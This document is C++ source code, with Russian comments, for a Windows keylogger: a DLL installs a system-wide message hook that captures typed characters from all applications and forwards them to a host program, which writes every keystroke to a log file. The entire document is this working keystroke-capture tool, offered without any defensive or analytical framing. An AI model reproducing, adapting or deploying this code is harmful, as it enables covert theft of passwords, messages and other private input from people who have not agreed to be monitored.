Keylogger

#include "stdafx.h"
#include "Begin.h"
using namespace std;
 
// Глобальные переменные
HINSTANCE hInstance = NULL;
 
// Описание хук-функции
LRESULT CALLBACK KeyboardMsgProc ( int, WPARAM, LPARAM );
 
#pragma data_seg(".SData")
HHOOK hMsgHook = NULL; // Handle нашего хука
UINT KBoardMessage = NULL; // Сообщение, которое мы будем посылать
                           // родительскому приложению
HWND hParentWnd = NULL; // Окно родительского приложения
#pragma data_seg( )
 
//Директива линкеру создать разделяемую(shared) секцию с атрибутами RWS
#pragma comment(linker,"/SECTION:.SData,RWS")
 
// Далее, обычная DllMain
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
        hInstance = (HINSTANCE)hModule;
    return TRUE;
}
 
// Две функции SetHook и UnsetHook
 
Begin_API int SetHook (HWND hWnd, // window which 
                    // should receive notification messages
        UINT UpdateMsg) // notification message
{
    if (hWnd == NULL) return -1;
    
    // Save received parameters
    hParentWnd = hWnd;
    KBoardMessage = UpdateMsg;
    
    // Set hook
    hMsgHook= ::SetWindowsHookEx (WH_GETMESSAGE, KeyboardMsgProc, hInstance, 0);
    
    // If we are failed...
    if (hMsgHook == NULL)
        return -1;
        
    return 0;
};
 
Begin_API int UnSetHook()
{
    UnhookWindowsHookEx (hMsgHook);
    
    hMsgHook = NULL;
    
    return 0;
};
 
 
// И сама callback функция хука
 
LRESULT CALLBACK KeyboardMsgProc (int code, WPARAM wParam, LPARAM lParam)
{
    if (code >= 0)
    {
        MSG * msg = (MSG * )lParam;
 
        if ((lParam)
            &&(msg->message == WM_CHAR)
            &&(wParam == PM_REMOVE))
    
            PostMessage (hParentWnd, KBoardMessage, msg->wParam, 0 );
    }
 
    return CallNextHookEx (hMsgHook, code ,wParam , lParam);
};

#define Begin_API __declspec(dllexport)
 
#include <windows.h>
 
extern "C"
{
     Begin_API int  SetHook( HWND,UINT );
     Begin_API int  UnSetHook();
}

#define _CRT_SECURE_NO_WARNINGS
#include "stdafx.h"
#include "Begining.h"
#include "tchar.h"
#include <windows.h>
#include <stdio.h>
using namespace std;
 
 
// Функция окна
LRESULT CALLBACK LogWndProc(HWND, UINT, UINT, LONG);
// Сообщение, которое мы будем получать от хука
#define WM_HOOKMESSAGE WM_USER+1
// Глобальные переменные
HWND hWnd; // Главное окно приложения
HINSTANCE hDllInst; // Dll с хуком
// И две функции
int ( * SetHook)( HWND,UINT);
int (* UnSetHook)();
// Вход в программу
int APIENTRY WinMain(HINSTANCE hInstance,
        HINSTANCE hPrevInstance,
        LPSTR lpCmdLine,
        int nCmdShow)
{
    MSG msg;
    WNDCLASS wc;
 
    // Класс и окно которое будет получать уведомление о нажатиях клавиш.
    memset (&wc, 0, sizeof (wc));
    wc.lpszClassName = (_T("__MyKeyLogger"));
    wc.hInstance = hInstance;
    wc.lpfnWndProc = LogWndProc;
    wc.style = CS_HREDRAW | CS_VREDRAW ;
    wc.hbrBackground = (HBRUSH)(COLOR_MENU+1);
    wc.hCursor = LoadCursor(NULL, IDC_ARROW);
 
    RegisterClass(&wc);
 
    hWnd = ::CreateWindowEx (0,
        (_T("__MyKeyLogger")),
        (_T("My KeyLogger")),
        WS_POPUP |WS_VISIBLE | WS_CAPTION | WS_SYSMENU |WS_THICKFRAME ,
        0, 0, 200, 200,
        NULL,
        NULL,
        hInstance,
        0);
 
    // Подгружаем dll
    hDllInst = LoadLibrary((LPCTSTR) "начало.dll");
 
    if (hDllInst)
    {
        SetHook = (int ( *)(HWND, UINT ))GetProcAddress(hDllInst,"SetHook");
        UnSetHook = (int ( *)( ))GetProcAddress(hDllInst, "UnSetHook");
    }
 
    // Устанавливаем хук
    if(SetHook)SetHook(hWnd, WM_HOOKMESSAGE);
 
    // Цикл сообщений
    while (GetMessage(&msg, NULL, 0, 0))
    {
        DispatchMessage(&msg);
    }
 
    // Снимаем хук
    if(UnSetHook)UnSetHook();
 
    if (IsWindow(hWnd ))
        DestroyWindow (hWnd );
 
    // Выгружаем dll
    if (hDllInst) FreeLibrary(hDllInst);
    // Выход
    return 0;
}
 
// Функция окна
// В ней основной пункт - обработка нашего сообщения
 
LRESULT CALLBACK LogWndProc(HWND hwnd, UINT Message, UINT wParam, LONG lParam)
{
    FILE * f = fopen("a.log","a");
 
    switch (Message)
    {
    case WM_CLOSE:
        DestroyWindow(hwnd);
        break;
 
    case WM_HOOKMESSAGE:
        switch(wParam)
        {
        // для некоторых символов выведем их "название"
        case 0x08: fprintf(f,"<BkSp>");break;
        case 0x1b: fprintf(f,"<Esc>");break;
        case 0x0d: fprintf(f,"\n");break;
        default:
            fprintf(f,"%c",wParam );
        }
        break;
 
    case WM_DESTROY:
    case WM_ENDSESSION:
        PostQuitMessage (0);
        break;
    }
 
    fclose(f);
    return DefWindowProc(hwnd,Message,wParam,lParam);
}